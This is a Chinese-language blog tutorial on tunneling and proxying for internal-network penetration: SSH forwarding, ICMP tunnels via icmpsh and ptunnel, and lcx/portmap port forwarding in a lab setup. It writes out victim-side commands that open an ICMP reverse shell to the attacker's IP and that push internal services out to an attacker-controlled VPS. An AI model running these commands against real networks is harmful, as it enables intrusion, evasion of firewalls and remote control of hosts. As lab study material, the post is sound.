内网渗透 常用的隧道代理技术

简单整理一下工具的使用

Posted by BY Diego on October 21, 2020

1. ssh 隧道

本地转发

假设存在 webserver与内网主机可以互通,攻击者可与webserver互通 但攻击者无法访问内网主机,且可以控制webserver 的ssh, 如下

假设 攻击机无法与 192.168.190.128 不通(测试环境是通的 偷懒

ssh -CfNg -L 本地端口:内网主机地址:目标端口 跳板机用户名@跳板机地址

192.168.190.128 充当webserver 129充当内网主机

129上的服务如下

攻击者执行 ssh -CfNg -L 8888:192.168.190.129:80 diego@192.168.190.128

  • -C 压缩传输

  • -f ssh后台传输不占用当前shell

  • -N 建立连接,但看不到会话

  • -g 允许远程主机连接本地用于转发端口

  • -L 本地转发

B9TKu6.png

访问本地 8888端口

流量情况 (跳板机抓包分析)

总体流量

下两图 可以看出 攻击者与webserver 是依靠ssh进行通信,而webserver 与 内网主机是正常通信

远程转发

将本地的端口流量转发到目标的端口上 与本地转发相反

ssh -CfNg -R 本地端口:内网主机地址:目标端口 跳板机用户名@跳板机地址

动态转发

ssh -CfNg -D 8888 跳板机用户名@跳板机地址

设置socks代理

2. ICMP 隧道

icmpsh

受害机 执行如下命令

icmpsh.exe -t 攻击者ip -d 500 -b 30 -s 128

BpStPK.png

攻击机器

sysctl -w net.ipv4.icmp_echo_ignore_all = 1 关闭本地的icmp 以保证shell稳定性

sudo python icmpsh_m.py <source IP address> <destination IP address>

流量情况

ptunnel

下载 wget http://www.cs.uit.no/\~daniels/PingTunnel/PingTunnel-0.72.tar.gz

解压 tar -xzvf PingTunnel-0.72.tar.gz

安装依赖 sudo apt install libpcap-dev

安装 sudo make && sudo make install

将内网的服务映射到vps的端口上

拓扑同 ssh

内网主机80端口存在如下服务

在web服务上执行如下命令

ptunnel -x diego

vps 上执行

ptunnel -p web服务器ip -lp 映射到本地的端口 -da 内网主机ip -dp 内网服务端口 -x diego

修改火狐的配置

network.security.ports.banned.override 值为对应端口

访问本地的6000 端口

3. lcx 与 portmap 端口转发

下载地址 http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

本地端口转发

windows

绕过防火墙限制某些端口通信,可以转发到其他端口

情景如下 ,服务只绑定在127.0.0.1上 公网ip 无法访问到服务

仅本地可以访问

公网ip 无法访问

执行 lcx.exe -tran 80 127.0.0.1 8080 将端口转发到80

连接状态 : 80绑定在0.0.0.0上 因此局域网可以访问

linux 下

sudo ./portmap -m 1 -p1 81 -h2 127.0.0.1 -p2 80

](https://imgchr.com/i/B9RC28)

远程端口转发

windows下:

受害机器

lcx.exe -slave 公网ip port 127.0.0.1 8080

vps 上执行 lcx.exe -listen port 5555

访问 vps:5555 即可访问到内网服务

linux - liunx

受害主机

./portmap -m 3 -h1 vpnip -p1 8007 -h2 127.0.0.1 -p2 80

自己的vps

./portmap -m 2 -p1 8007 -h2 vpsip -p2 8008

受害内网服务

被映射到自己vps 8008端口

linux - windows

受害着为windows

windows 执行

lcx.exe -slave 公网ip port 127.0.0.1 80

远程执行

./portmap -m 2 -p1 8007 -h2 vpsip -p2 8008